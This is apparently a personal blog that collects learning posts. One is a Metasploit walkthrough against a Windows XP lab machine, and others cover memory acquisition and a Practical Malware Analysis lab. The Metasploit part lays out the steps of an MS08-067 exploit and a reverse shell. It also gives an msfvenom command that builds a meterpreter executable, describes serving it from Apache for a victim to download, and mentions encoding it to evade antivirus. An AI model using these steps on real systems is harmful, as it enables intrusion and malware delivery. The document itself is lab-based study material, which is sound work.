Introduction to Metasploit. (Georgia Weidman pt.1)

Introduction

So you're probably wondering, why pen testing? What does pen testing have to do with forensics? There are myriad of situations that will require the assistance of an incident responder, and a remote malicious actor is one of them. When you respond to an incident involving a malware infection, it's vital to analyze its behavior after it has infected the system, to competently explain what level of access the infection was able to accomplish. After all, the blue team is the response team. But since it is one of the job descriptions of a blue teamer, to respond to a possible hack, it only makes sense to educate yourself in understanding how a hack takes place. Lets go back to the malware forensics example. Malware incident responders are interested in figuring out how the malware found its way into your system, and how it behaved once it infected your system. You can determine the answers to these questions, and many more questions, just by analyzing the malware itself dynamically. But there are so many ways in which a malicious actor can infect a system. E-mail, messaging clients, removable drives, cloud synchronization, drive by downloads, etc.. So by learning about the techniques used by hackers, and how they use malware gain access to a system, aren't we better preparing ourselves when responding to an incident, and are asked, how did this happen? Technically, learning pen testing techniques will  Ibenefit a network security analyst more than a forensic analyst. If you were to anti forensic techniques, that would be one thing. But there is a reason why these two fields of information security have been separated. They both have separate goals and objectives, but will also have certain areas of information that will overlap. Besides, i'm interested in all areas of computer security.

"Penetration Testing: A Hands-on Introduction to Hacking", by Georgia Weidman, is a great introduction into the methods of penetration testing and security reconnaissance. It is perfect for those who'd like to learn some basic information on how to audit a network, the fundamental steps of hacking, and some basics of software exploitation. What's great about a book like this, is it teaches you about the material, while also acting as a step by step guide, to help you enforce what you are learning. Similar to a classroom environment, it teaches you the mechanics of a targeted environment, then how to use particular tools, while briefly explaining their purposes and functionalities. Kinda like Brian Carrier's book, "File System Forensic Analysis", where he presents a few step by step examples on how to use the Sleuth Kit and Autopsy. But in Carrier's book, a solid 70 percent of it explains the technologies associated with the operating systems, and about 30 percent on the TSK tools, and how they relate to forensics.

To give a bit of a heads up, if you choose to follow along with her book, there's a lot of pages dedicated to installations of programs, and target installations. I ran into some issues here and there, but in the end, i was able to get everything working accordingly. Working on this stuff alone, while running into issues, can certainly set you back on the clock. Some things i remained stuck on for a a month or more :(. But this is how a lot of my experiences have gone, when trying to run certain programs, while following along with either a pentesting or forensics book.

For example, after instilling Kali Linux 2016, i needed to install the android sdk via sudo apt get, and while attempting to run the android emulator, got nothing but failed attempts. Seriously, it took me a veryyyyy long time in order to continue on with you projects, simply because i couldn't get the damn thing to run. Luckily, i ran across a simple fix online, after months of searching, and found Kali 2016 required certain dependencies in order to run the sdk. I posted on my twitter a while back, but here is the list:

I don't know how or why this allowed it to run, all i know is that it took a long time, and hell of a lotta luck to find online. I'm sure there was some method to the madness, but right now i can't remember how i came to that conclusion. So make sure you install this architecture before installing the android sdk.

Also, when trying to run Metasploit in Kali 2016, against a Win XP target machine SP3, i kept getting an error after typing the "exploit" command. The error message was, "Exploit completed, but no session was created". I had a screen shot of this error, but i sadly deleted it. Well come to find out, the Version of SP3 i was running, had updates and service patches that were issued since 2015. These updates and patches were too recent in order to use the NETAPI exploit i was trying to use, via the textbook. So make sure if you are trying to go along with the book, you have an XP that has service patches no later than 2013.

Metasploit Introduction

Normally when trying to run Metasploit on say an Ubuntu system, you'll need to install Ruby, PostgreSQL, the Metasploit framework, and i'm sure a couple other dependencies i cannot think of at the moment. In Kali 2016, there is simply a Metasploit icon in your favorites bar, that starts your PostgreSQL database and msfconsole for you, along with other services that are required to initiate Metasploit. Kali has made it very convenient for us to start up all the necessary programs in metasploit. Whereas in the past, we would have to start each one of these services individually.

PostgreSQL is just a database that will be installed on your system when it is ran for the first time, and will keep track of all of your targets and scans that you're using. You can list your existing "targets", by issuing the 'workspace' command inside msf.

When it comes to interfaces, msf is the primary interface to be used, and is automatically ran in a shell when you press the metasploit icon in the favorites bar of Kali Linux. There are other interfaces i will simply mention but not go into detail: msfcli=which is a command line interface that isn't even available anymore i don't think. then there is Armitage, which provides a GUI interface.

Before i move on to the testing, there are a few terms i would like to go over that you will see mentioned frequently when using metasploit.

1. Payload modules: The payload is the code that will execute once you have found a vulnerability in a system through an exploit. Ex: meterpreter shell, trojans a.k.a RAT's, key loggers, etc. There can be multiple payloads administered through a single exploit. There are payloads that you can search for inside of the msf console, that have already been developed by metasploit contributors. You will have to search the framework
2. Exploit modules: The piece of code that is created to take advantage of a vulnerability found in a system, app, or network. An exploit is why makes it possible to deliver a payload to an exploited system. Ex: The Conficker worm exploited a vulnerability in the netapi32.dll via SMB. You can choose from the list of exploits made available through the Metasploit framework by searching for them by typing show exploits. Once you have used an exploit against a vulnerability and have gained access to drop a payload, the exploit then become irrelevant. 
3. Auxiliary modules: These are modules that provide additional functionalities  such as scanning, fuzzing, sniffing, etc. Ex: nmap.
4. Encoder modules: Are used to obfuscate payload and exploit modules from being detected by anti viruses and firewalls. 

How do we know what exploit modules will work?

So we have an IP address, and after some scanning with either nap or tcp scanner, we know what version OS the target is using, and its MAC address. We have about 3,000 modules, and we can view them buy issuing the show command (ex: show exploits, show payloads, etc..). In order to know what patches are missing from our target machine, we have to supply the IP address of out target to an Nmap scan. There are a lot of port scanning tools out there that will give you some starting information to work with. Nmap and Nessus are your two best options. (Nmap is used to identify ports and hosts inside of the network, while Nessus is generally the go to tool for discovering the vulnerabilities). Not only will you get a patch level assessment with scans like these, but you will also be able to ascertain the level of security controls that are put in place. Also, the amount of information you will be able to collect will depend on whether you are performing an internal or external scan. with an internal scan, you are able to collect more information of course, but security controls can make it difficult to perform such an assessment. Georgia Weidmans Intro to hacking does over vuln scanning with Nessus later on, i just wanted to quickly mentions how a vulnerability is discovered before turning to Metasploits library of exploits. 

So, once you have discovered a vulnerability in a system after running a Nessus scan at a targeted IP address, you see a vulnerability it is listing that exists within the targets system, (ex: MS08-067):

https://jasonrodlund.wordpress.com/using-metasploit-for-ms08-067/

This photo of a Nessus scan, displaying vulnerabilities on a target system, isn't one of my screenshots. I'm postponing using my own Nessus account for the moment, since Georgia has exercises for these scans later on in the book. 

So we see a Vulnerability which has been called n "MS08-067 patch" by the Microsofts security bulletin. The MS08-067 is the patch name, while it vulnerability is of the netapi32.dll. We can search for exploits that will work with this vulnerability via https://www.rapid7.com/db/modules/, as shown below:

And as you can see, there is already a prebuilt constructed module that works as an exploit against this ms08-067 vulnerability. (exploit/windows/smb/ms08_067_netapi).

You can also search for prebuilt modules that work with against this vulnerability by using the built in search engine, inside of the msf console. Simply type 'search ms08-067', and the output shows you a matching module name that will work against this vulnerability:

So this is clearly the module we will want to use when "setting" an exploit directed to our target IP. To make sure that we can use this module against our Target IP (make sure this module is compatible with or targets OS version, type 'info exploit/windows/smb/ms08_067_netapi':

Since i can't list the entire commands output, just trust me that it lists some valuable basic information, including information about the exploit, and a list of OS targets i is eligible for, which in our case, we see listed an Windows XP SP3 English (NX). This module has 66 other possible OS targets.

Now lets set Metasploit to use this module, so we can then target it toward or Targets IP, and send it some payload code. Type 'use windows/smb/ms08_067_netapi':

We now have our exploit loaded. But before we can move on, we need to supply some additional information to this exploit, to tell it where it is going. You can see these options by typing 'show options':

1. RHOST: Is the IP address of the target system we intend to send this exploit to. You will have to type: 'set RHOST xxx.xxx.xx.xx'.
2. RPORT: refers to what port the exploit is sent over. With this exploit, by default, it uses the SMB protocol which is port 445. So once you send the exploit, it will open this port. 'set RPORT xxx'. But leave alone, and the exploit will use the default settings.
3. SMBPIPE: This is an auxiliary module that is used to scan for open SMB protocols within the target system to help it determine what version OS is running, (i think). 
4. Exploit Target: By default, this setting is set to 0, which allows metaploit to determine the target automatically.  There is a list from 0-65+, listing different version of operating systems to choose from. You choose what version OS your target is. If left 0, it checks automatically.  You can see this list by typing 'show targets', and keep in mind, all the OS's that are listed, are operating systems that are vulnerable to this exploit.

Finding a compatible Payload

At this point you're probably wondering, ok, so what about the payload?? We need to tell our exploit what to do, once the exploit has successfully accessed the target system. Metasploit will usually choose without asking the best matching payload, but, we can manually assign and choose from the plethora of payloads to choose from. Don't forget, Metasploit has a modular design, and we can mix and match exploit with different payloads as we see fit. But be careful, because some payloads are more intrusive on a system, and may cause a crash.

There is over 300 different payloads, and not all of them are compatible with our specific exploit. You can view the payloads that are compatible with the ms08_067_netapi exploit by typing 'show payloads', and you will see a list of injections, and reverse shells that are all usable once you've exploited the system. Otherwise, the exploit module will just choose a default payload. But you should get into the habit of choosing a payload manually.

Run the ms08_067_netapi against a Win XP SP3 machine

After leaving the default payload as is, type 'exploit'. (I should mention, make sure your target XP machine has all the configurations that were directed in Weidman's book, and make sure your firewall is turned off):

Here we popped a meterpreter shell on the target machine. A meterpreter shell doesn't create a new process, instead it runs inside the address space of the exploited process. You can do a lot of damage with a meterpreter shell, especially if it has root level access. Here we only have system level access :(. As far as what kind of sensitive information we can extract with this access, i'll save for later. This shell comes with a list of commands (tools) that allow you to do all sorts of things. Simply type 'help', and you will see these commands. Ex: key loggers.

Now lets run a reverse shell, with metapsloit. We will use the 'set payload windows/shell_reverse_tcp' payload we saw earlier when we listed the payloads for this exploit. Usually you will find yourself using a reverse shell when the targets system has firewall restrictions in place, and your only option is open a listener on your attack machine, connect to the target machine via the exploit, then have the payload force the target machine to push back a shell to your target, that you will be able to control from your attack machine, as if you were sitting in front of the target machine with a shell open. Kinda like a netcat connection. 'set RHOST' to the ip address of the target machine, and 'set LHOST' to the IP address of the attack machine, since this is a reverse shell, and we want the target to know where to send back the shell:

Here we can see our reverse shell available for us on our attack machine.

I'm going to finish up this metasploit introduction with a quick run through with Msfvenom. This is a program that combines msfpayload and msfencode. I'm assuming this means it combines the metasploit payloads with an encoding utility. Why would you want to encode payloads you ask? Well you can use it to re-encode already existing payloads to help prevent against AV detection. It changing the encoding of the malicious executable, to avoid some of the common detection techniques used. Once the executable is changed, it will run like any other metasploit payload after it has accomplished the exploitation phase. This malicious executable will need to be run from user intervention, so this is where social engineering techniques come into play, or by compromising an active server.

You control Msfvenom from the root@kali:~# directory, and it is here where you will create your malicious executable. I'm having a bit of trouble with some of the commands in msfvenom, but for now, these are the best results i was able to accomplish:

Set our LHOST to our Kali IP address, so our exploit knows what to connect back to. We will also set our connecting port to LPORT=12345. This can all be accomplished in one line: 'msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.xxxxx LPORT=12346 -f exe > chapter4example.exe'. This creates the executable. You can view a description of the exe with the file command. Here is the output so far:

You can see the PE file format of a Windows executable, along with some errors i'm not going to try and  figure out at the moment. If you now go to your XP target machine and browse to http://192.168.xxx/chapter4example.exe, and download the file, you will have successfully infected your target XP machine.

Since our Kali Linux machine can host as an Apache web server, we can offer this file online to those who are "willing" to visit our domain, and download the malicious file.

First we need to copy or newly created exe to our Kali /var/www directory: 'cp chapter4example.exe /var/www', press enter, then type 'service apache2 start':

(Update)

For now, i'm unable to get Msfvenom to run correctly. I followed everything correctly, but i cannot access the downloadable malicious file from my target machine, with kali hosting it in apache. I get this error when i enter the IP address in the url:

If i were to have successfully set this up, once i had encoded the payload, hosted it from a server, and have the user click and download the file, i would have assigned the Multi/Handler module before hand, and had a reverse shell once the target downloaded the file. (while evaded an AV).

For now i am moving on. I may come back to Msfvenom, but i have spent too much time on it already.

Memory Acquisitions. (Memoryze, FTK imager, Sleuthkit, etc.)

First we need an image of memory. There are options for either a partial or complete image of memory. Circumstances will usually dictate which one will be provided. And it goes without saying, the more complete your image, the more artifacts you will have at your disposal.

So where can we find or obtain these images of memory? Generally, there are about Six different memory image formats that are available to an investigator, that can be utilized for an investigation when analyzing artifacts that were in the systems memory. Some of them are "whole" captures of memory, while others are only partial captures of memory. You'll generally get a raw dd image from a live acquisition, while the other alternate sources of evidence listed below you can find on the secondary storage in case you can't perform a live acquisition, or you can simply supplement these files alongside your raw acquisition.

Some of the files discussed below are hidden files in windows 8 & 10. To view them you'll need to open explorer, click the view tap in the top left, click the option tab in the top right, then click view in the folder options box. Once there, uncheck "Hide protected operating system files", then click apply. Then the Hiberfil.sys, Pagefile.sys, and the Swapfile.sys file's will be viewable in your C:\ drive:

A) raw dd image: When an acquisition tool images memory, it will create an image file that will be either a raw dd image, or structured will be a format that is it's own particular proprietary format. (For example, HB Gary's responder tool is in .hpak format.) Acquiring a dd image is the most common method of acquisition, and the acquisition tool should include the systems pagefile.sys, for a more complete memory capture. This would be a "complete" memory capture. A limitation with some acquisition tools is that they only have access to the physical memory address spaces, and don't include the "virtual" addresses (page files) that are necessary for a complete image.

B) Pagefile.sys: Its size can grow to be 150% of your current RAM size, depending on what your OS configuration settings are adjusted to. This file is only a piece of the memory puzzle (when analyzed by itself), mainly because it's containing data that is less visited than compared to the data that is executing or waiting to be executed in memory. The file offers some help alone with string searches, but becomes even more helpful when supplementing it into your memory analysis. (ex: ftk imager does). These files work with virtual memory mechanisms that use a page tables to keep track of the noncontiguous pages (4K) of a program, which have been paged out to disk instead of into memory. There can be up to 16 page files, each one made up of memory pages, that can be built up to a large size.

C) Swapfile.sys: Seen in windows 8 & 10, alongside with the pagefile.sys. I also think they were used in older versions of windows like XP. In the newer versions of Windows like 8 & 10, this file caters to the "universal applications" that are used. This virtual memory mechanism doesn't just store and allocate pages like is done with the pagefile.sys, instead, the swapfile.sys will swap out entire programs to disk, when they aren't frequently being used. Page file = swaps the small pages of code out to disk, whereas Swapfile.sys = swaps out entire programs to disk.

E) Hiberfil.sys: Contains a partially compressed copy of memory. To analyze this file as it is, can be more of a pain than it should be, since you would have to worry about decompression each time you analyze a certain segment of the file. You'll need to convert the file to a raw dd, with one of the Volatility plugins. If you don't have a raw image of the memory with an acquisition tool, this would be your best second option. Just realize, if your system hasn't been put in a hibernated state in days or maybe even weeks, the hiberfil.sys file could be too outdated to be relevant.

Here's how to recover a hiberfil.sys file from an imaged (dd) 300 gb drive, obtained via FTK imager, of an NTFS hard drive with The Sleuthkit:

• 1) Find the starting sector of our PRIMARY NTFS partition with the TSK command "mmls NTFSimage.dd":  or you can use a native "fdisk -l NTFSimage.dd".

• As you can see, we have three partitions that exist on this drive. dd2, which is 297.6G in size, is clearly our partition of interest, (where all our data is stored). So we will use its starting byte offset number "206848", as our indicator to any of the commands that we will feed to TSK with the -o parameter. 
• 2) Now we're going to use "grep", an ASCII text searching tool, with "fls". "fls" will searching your partition, when you provide it with the -o 206848 parameter, and all it finds, will be piped through and filtered via "grep hiber", leaving you with any system files that contains that string. So here is our command: "fls -206848 | grep hiber":

• Those three numbers in the bottom left, tell us the inode number of the file, and some attribute indicators. For now, we're focusing on the inode number 41446.
• 3) We're going to supply that inode number to 'icat', which is a TSK tool that will extract the space that is allocated to the inode number it is provided, in this case, the data units of our hiberfill.sys file, and forward it to our desktop, and naming it "hiberfil.sys". Here's the command: 'icat -o 206848 NTFSimage.dd 41446 > /root/Desktop/hiberfil.sys". The hyberfil.sys file that we have named and created on our desktop, is now going to contain the data units of our actual hiberfill.sys image file. icat basically searches for files according to the metadata address you provided it, which is great, just in case it is an unallocated file, it will still find it. And regardless of the file, once you extract it, you can then view the contents of whatever you extracted. If it was a photo, you could view the photo. Since our hiberfil.sys file is going to contain raw data, it's really not going to be viewable unless you supply it to a forensic tool (Volatility), or a hex editor. 

You can use the same process to extract the pagefile.sys from a dd image.

F) Crash file: There are about three different types of crash dumps: small 64 kb, kernel, and a complete crash dump. A complete will contain a complete copy of the contents in RAM. In windows, there are proprietary headers that are added to the dump, compliments of Microsoft. This allows you to work with  a Windows crash dumb with their developed debugging tools, like the native WinDbg. I don't have any experience using debuggers, but much like these other formats, Volatility plugins allow you to convert a crash file to a raw image. All you need to know is how to create, and locate a crash dump file. Many systems are configured to write crash dumps to disk upon a BSOD, to the %systemroot%\Memory.dmp directory. Here are the steps to create a .dmp to the C:\ directory in Windows 10:

1. Click "Search the web and Windows"
2. Search "This PC"
3. Right click on This PC > Properties.
4. On the left side of the menu, click Advanced system settings.
5. Click settings under Startup and Recovery.
6. Under "write debugging information", click the arrow, and select "complete memory dump". Also, make sure you have checked "automatically restart", and checked "overwrite any existing file", before clicking OK. 
7. Your computer will prompt you to restart.
8. After restarting, start the run command, and type %systemroot%. (make sure you're hidden files are showing. If not, refer to steps up top.)
9. Scroll down and view your MEMORY.DMP file.

G) VMware files: When you install VMware, there are four primary VMware files that are created to simulate a computing environment, and are installed and stored to your host drive. (There are more than four VM files created in order to run a virtual environment, these are just the ones found most interesting when forensically analyzing a virtual system). I'm running my VMware on my Mac, so locating your VM files will be a different process in Windows.

After you've installed a virtual machine in VMware, a virtual machine directory was created under Documents. Locate your vm file and right click > select show package contents, and you will see all the VM files used to run your simulated machine.

Using the "Suspend" feature and/or the "Snapshot" feature within VMware allows you to freeze the running state of the virtual system, which will then create some of these files you see in the photo above. (Suspend or Snapshot does not create the .vmdk file for example). You can analyze a VM either in a running state, or acquire these files, which contain data that are the equivalent to what you would acquire during a live acquisition. Since these VM files contain the bit by bit copies of the system, they are considered raw, and also contain unallocated data as well.
Both FTK and Encase are fully capable of viewing the contents of a .vmdk a file.
Another thing to keep in mind, is since there are many .vmdk files, each one containing a portion of the file systems data, you'll need to combined these files with something like vmware-vdiskmanager.exe, which comes with the workstation version of vmware, if you plan to mount the image, and view it in something OTHER than FTK imager, or Encase.

I'm getting somewhat ahead of myself. So here are the Four main files, VMware uses to simulate a virtual environment:

1. .vmdk: These are the files that hold your file system data. Their sizes vary, and have a maximum limit that is dictated by your vmware settings. When you first boot up a running VM, you will see these files sitting in their VM's directory. In other words, they exist before you create your first snapshot. But, when you create your first snapshot, a whole new list of about 20 of these files are created, and are used to store file system data for your newly running current state. VMDK's are just raw binary files, that you can easily mount or convert in either FTK Imager, or Encase, to view their contents. The windows version of VMware comes with command line utilities that allow you to combined these files, to mount and analyze the entire virtual drive (of a specific snapshot). Since this has nothing to do with memory data, just put this on the back burner for now. 
2. .vmsn (snapshots): (Here we begin our discussion of the next three files that will contain actual contents of physical memory). The .vmsn file will contain a small amount of some memory content, and is created when you take a snapshot of the VM, and will store the state of the VM at the time of the snapshot. A .vmsn file contains a fairly complex structure layout which holds the physical memory runs, the VM configuration data, CPU registers, and even a PNG thumbnail of the VM screen at the time of the snapshot was taken. Every VM will have their own .vmsn files, one per snapshot taken. It is possible to convert a .vmsn file to a raw dd-style memory dump, by extracting the physical memory runs to a separate file by using the Volatility imagecopy plugin. (volatility-labs.blogspot.com). This file, although not a complete memory dump of the VM's RAM, still contains data essential to reconstructing a memory dump. 
3. .vmss (A primary image of ALLOCATED memory): When you push the suspend button, this file will pop up, along with a .vmem file that is created at the same time. You could use the .vmem file with volatility, as it is a more complete image of your RAM, but the .vmss file is also sufficient enough to use with volatility, as it contains all of the allocated space in memory at the time in which the image was taken. This file is used to store the active contents of memory, so it can be used to quickly restore your VM, when you press play again. When you SUSPEND your virtual machine, this file will be created in your virtual machine directory. There is only one of these files, since there can only be one session suspended at a time. Once you press play, and run your VM, the .vmss file disappears. You can use the vmss2core (a windows binary), to convert the .vmsn/.vmss files to a raw memory dump format, if there is a forensic analysis tool that will require a specific format to recognize in order to perform an analysis. 
4. .vmem: (A primary image of RAW memory). This file is the real deal. This is the file you want to use when running plugins against it with the Volatility program. This file has the same physical structure as a raw dd memory dump. So this .vmem file will not only contain the allocated space of RAM, but the physical unallocated space as well. This file will exist when you create a Snapshot of a VM, (a .vmem for each snapshot), and also, when you suspend a VM. This is the crown jewel of all the VM files, since it is practically the equivalent to a memory dump file. Since this file is a physical replica of your VM's RAM, you will get all the same benefits and artifacts you could find in any other raw RAM dump. There are a bunch of Volatility plugins that work very well with these files. As a bit of a sum up, all these VM files can be handled by the Volatility framework, without the need to convert them first. (There also may be some issues when trying to parse a memory dump file that is more than 4GB in size with Volatility). 

How to use FTK imager from a USB drive

The methods i would choose when acquiring an image of a targets memory, would be to first install a memory acquisition tool on a "safe" system first, find the file path in which the acquisition program has been installed to, drag and drop the programs folder onto your usb drive. For example, when you install FTK imager on a safe system, it's installed to my C:\Program Files\AcessData\FTK Imager location.

Before plugging your USB drive into the target system, use a write blocking device like Wiebitech Forensic Ultradock in between your drive and the suspects computer to prevent any writes to the targets disk. I don't have this device, so i couldn't tell you if FTK imager will run properly from this sort of a setup. FTK Imager and FTK imager Lite, (which has a smaller memory footprint), are said to be less intrusive on a suspects computer during a live acquisition. The writes to memory are very small, and the writes to disk are reportable non existent. But, on AccessData's website, they do say to be forewarned that FTK imager may write to your targets disk. So, there may be files written to the AppData directories in windows, or there may not be. (Hence the importance of a write blocker.) It is also worth mentioning, if the tool doesn't install files into the AppData directory, there still will be minor changes to the registry hives that maintain USB history artifacts, shellbags, or prefetch directories, which will all be inevitably altered when running a program from a usb drive.

Not all programs can run from a USB drive without formatting or installing certain programs to the drive first, but FTK Imager Lite and Memoryze from Mandiant both can. (With Memoryze you do you have to do some special formatting first.) Since i already started discussing FTK's version already, let me pick up where i left off.

So if you've already installed FTK Imager on a safe computer, drag the 'AccessData' folder from the location C:\Program Files\AcessData\FTK Imager, and drop it into your USB drive. That's it! You don't have to do any test runs like you will with Memoryze. You can now plug your drive into your targets machine.

Once plugged in:

1. Open cmd as administrator. (This is not a trusted shell. Use other method if this is a concern.)
2. Type the letter in which your USB drive is located. (Mine is located in the E: path.)
3. cd to the directory in which your FTKI tools are located. (Mine are under the 'FTK Imager' folder.)
4. Then type the command: start "FTK Imager.exe" "\FTK Imager\FTK Imager.exe". This first quotation parameter is holding the executable to be run inside the USB drive, and the second set of quotations are listing the file path in which it exists inside the USB drive. Include the quotations in your command and ftp will start.

I'm not going to screenshot every step on how to button push FTKI, into creating a memdump.mem image. Just make sure you select "include pagefile", and don't select "create AD1 file". Once the imaging is complete, you will have two files; the memdump.mem, and the pagefile.sys. You will have to analyze these two files separately, having the option to run strings and/or use Volatility for both. But yes, the .mem is going to be your most valuable source of artifacts, especially if you are investigating a malware incident, since the .mem is where your more current artifacts will be. And i also should mention, there is a lite version of FTKI, which is better suited for usb to live acquisitions. I just already had FTKI installed on my usb drive.

How to use Memoryze from a USB drive

1) Install memoryze from fire eye.
2) Then create an empty folder on your USB drive called "Memoryze". ex: "cd E:\Memoryze".
3) Go to the Fireeye page and download the MSI package installer for memoryze. The installer is loaded to my documents location at C:\Users\Aaron\Documents. We will use this location in a following step. Below you can see the MSI in our documents location.

4) Start the run command, type cmd, press enter.
5) With cmd open, type 'cd Documents', to enter the directory in which our MSI package is located.
6) Type: msiexec /a MemoryzeSetup3.0.msi /qb TARGETDIR=path to memorize folder in our usb' = 'msiexec /a MemoryzeSetup3.0.msi /qb TARGETDIR=E:\Memoryze'.
7) Now you have all the scripts and bat files that come with Memoryze for both 32 and 64 bit systems installed on your usb drive. Just double click on your x86 folder and you will see these are the scripts for a 32 bit operating system.

8) You can now plug this drive into your target system.
9) While plugged in, open cmd with admin privileges, navigate to were your x86 folder is, since we are imaging a 32 bit system.
10) In cmd, simply type: 'start MemoryDD.bat' and memoryze will now start to image the systems RAM, and automatically send it to the 'Audits' folder, that is automatically created under x86.
11) As you can see, our image of RAM is a little more than 3GB's, which is much less than what our physical RAM size equates to, which is 4GB.

12) You can now take this image, and analyze it in Mandiants "Redline".  The image you create with Memoryze is intended to be analyzed with Redline, but i'm sure there are other forensic tools out there that can recognize this .img format. Not to mention, there are other image formats that Redline can recognize when analyzing a memory dump for potential malicious activity, and also a way to tailor some of the redline bat scripts to only collect certain partitions of memory. But all that falls under the category of analysis. This is just a how to in acquisitions.

Practical Malware Analysis. Lab's 3 - 1 (Dynamic Analysis + Inetsim)

Introduction

When analyzing malware dynamically, it's important to run your sample in a safe environment, like a VM. With dynamic analysis, you'll get more artifacts in memory, be able to monitor network activity, plus examine the scope in which the program infects the system. Having a VM open to the net allows you to view any calls that it would be making. Ex: C&C, malicious urls, or any downloads it may be requesting. Traffic analysis can be advantageous for obtaining insight into the behavior of the malware.

In chapter 3 of PMA, they discuss the idea using a Linux VM to emulate internet services (ex: dns, http, https, smtp, irc, etc.), when requests are sent to it by a second VM, that is simultaneously running the malicious program. This second VM has to have its DNS settings changed, to be specifically sent to the Linux VM's IP address. That way, any requests that are made by the malware on the second VmM, would not be sent out to the worldly internet, but instead, sent directly to our fake DNS, which is the first Linux VM. (Well technically, you can configure InetSim to reach out to actual web addresses, but for this lab, we're not getting into that). 

The type of dynamic analysis presented in PMA's chapter three, is more like a sandbox, than it is a regular dynamic analysis of malware. Normally you'll run malware inside of a VM, open its connections to the world, then monitor its activity that way, instead of created a "false" internet.

For Clarity: 

First VM = A linux VM Running Kali Linux, because Inetsim is installed by default. Inetsim will simulate as a DNS server. A dummy DNS, so to speak.

Second VM = Running Windows Server 2008, with its DNS requesting network settings changed to have the DNS requests sent to the IP of the Linux VM, (to the Interim program).  So when the malware runs on this VM and starts making calls to a DNS server, the malware is actually having its requests sent to the Linux VM. 

Why am i going over this? Well based on just what the book provides, i would have never been able to set up this simulated environment, with the two running VM's. I wouldn't have been able to dynamically monitor the malware's infection process, or networking behaviors. But thanks to Mr. Sam Bowne, and the instructions he provides for his students on his college website, i was able to follow along and ended up with the simulated environment as shown below. Normally in my blog posts, i write out the step by step instructions of what i'm doing, but since i'm going along according to Mr. Bownes instructions, i'd just be parroting what he has already written up. Just google Sam Bowne, CNIT Proj 3, and you'll see an assignment that will give you an end result of the screen shot i have below:

Nmap showing the available connecting ports from our WS2008 to Inetsim on our Kali VM :)

Before we been our dynamic analysis, i'd like to go through some static steps first, just as a refresher for myself, and to compare results afterwards. 

Lab 3-1

1. What are this malware's imports and strings? (static steps first)

Firsts things first, lets run a scan on this binary in VT, to see how popular it is, out in the wild:

53 out of 56 AV's identified this a malicious file. Not only will VT tell us what AV tools have identified this malware, but it will also tell us what the imports are, and what Packers (if any), were used:

Down here at the bottom in the red box, we can see that this binary imports the ExitProcess from the kernel32.dll library. We can double check by looking at its imports in Dependency Walker (in the future, when one tool shows the results we needed, i won't double check with another tool, simply because i don't want to fill up this post with a bunch of screen shots):

As you can see, there is our single ExitProcess import from Kernel32.dll.

Just to be sure about obfuscation, i scanned this file in PEiD to see if it identified any packers, and it did. The results were identified as "PEncrypt 3.1 Final -> junk code."

Now to view what strings may be viewable in this executable, (assuming a packer hasn't hidden some strings from us), we can use PEstudio:

Since PEstudio is just a great tool, not only did it list a bunch of ASCII strings found inside this program, but it also lists the 'blacklisted" strings, that PES considers to be common strings used amongst malicious programs. We se an interesting URL, we see some attempts to configure some Autorun keys in the registry, and an odd looking executable called vmx32to64.exe. Well, it could be a normal looking executable for all i know. I don't have the experience required in order to delineate what executables look normal and which ones don't. I'm just guessing, and hoping that PMA made it simple for me :).

Ok, so these were the basic steps in static analysis, mainly done as a refresher for myself. And to partially see if there will be any differences in the results between a static and dynamic, (i know there are plenty more results to be found in dynamic, i just would like too see some for myself).

Before i begin, in order to get malware running in a safe environment first, double clicking the executable may not always be the way in which to initiate its malicious ways. It may not run unless certain commands are entered into a shell, start after a restart, execute on an un-patched program like adobe.

If it's an .exe, simply double clicking it may suffice, since an .exe is already compiled to execute. But it's a little more tricky to get a .dll to run. I have a very basic understanding of how a DLL injection occurs. So however the malicious .dll has made it onto your system, once its there, it will then implant itself into the registry. So now whenever a new process is created and calls one of these malicious .dlls, it will begin loading the unintended malicious .dll.

In the book, PMA, it suggests to look at the export table that exists in the .dll, (statically first), to see what type of functions it will be calling. Example: The Install function, or the Uninstall function. This is the example given in PMA. These functions tell us what the .dll intends to call these functions when loaded by a process, or in other words, when a process calls the .dll, it will become malicious once installed. (I think this may be correct, i'm not exactly sure). And as you can see above from our static analysis, the import function "exit process" is in the kernel32.dll library. Fortunately, the program we're examine right now, is an .exe, from Lab03-01, and all we have to do is double click it to get it to run. 

Tools and programs used in this lab:

1. A VM running Kali linux, with Inetsim installed on it.
2. A second VM simultaneously running with Windows Server 2008 (not R2 version). The programs installed on this OS are as follows:

• The Lab Files from PMA
• PEview
• Pestudio
• Process Monitor
• Process Explorer
• Wireshark

Make sure you have your Windows Server VM network settings configured so that its DNS requests are sent to the IP address of the Linux VM, then run intetsim on the Linux machine. (Again, the instructions on how to do this are available via Mr. Bowne's website. I'm not going to rip his work, and fill my blog post with his instructions.)

2. What are the malware's host based indicators? The changes to configure settings in the registry to auto start the malware during the boot process. There are certain registry keys that are great for maintaining persistency. You'll see it attach itself to the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\VideoDriver registry key, for persistency. This key path is present in the strings output, with the VideoDriver string separate. I'm not sure why they are listed separately. The program that this key was created by is called the "vmx32to64.exe", which is located in the System32 pathway. (Just view the listed string from question #1. I don't want to paste the same screen shots twice).

These are some of the host based indicators. Since we were running ProcMon, we can verify these strings with the events that were captured with ProcMon, by the malicious Lab03-01.exe. Specifically i want to see when the program vmx32to64.exe was created and when attempts were made to create a registry key. Wanting these bits of information we'll need to add filters to ProcMon, that will deliver the time stamps of when and where these occurrences took places. Hit the magnifying glass in ProcMon and add Lab03-01.exe as a filter, then 'RegSetValue' and 'WriteFile', as additional filters that will list these two functions that exist for Lab03-01. Why these two functions? Well 'RegSetValue' is a function that is called when a new value is set for a new registry key. And 'WriteFile' is a function that is called when a program writes to a filesystem. Don't get angry that i'm not going through the step by step, I'm omitting those details because they have already been provided by Mr. Bowne at https://samsclass.info/126/proj/p4-lab3-1.htm. And yes, the lab solutions at the end of PMA are listed, but honestly, are not enough to accomplish capturing these artifacts like you can when following along with Mr. Bowne's web page. Here are the capture events of Lab-03-01.exe:

If you navigate to the path location of where the vmx32to64.exe is located, and generate an md5 or sha checksum, you can use that as a host based signature to locate any files hat may be associated with the malicious program. You will see the checksum for the vmx32to64.exe program matches the checksum for the lab03-01.exe. See below:

vmx32to64.exe

Lab03-01

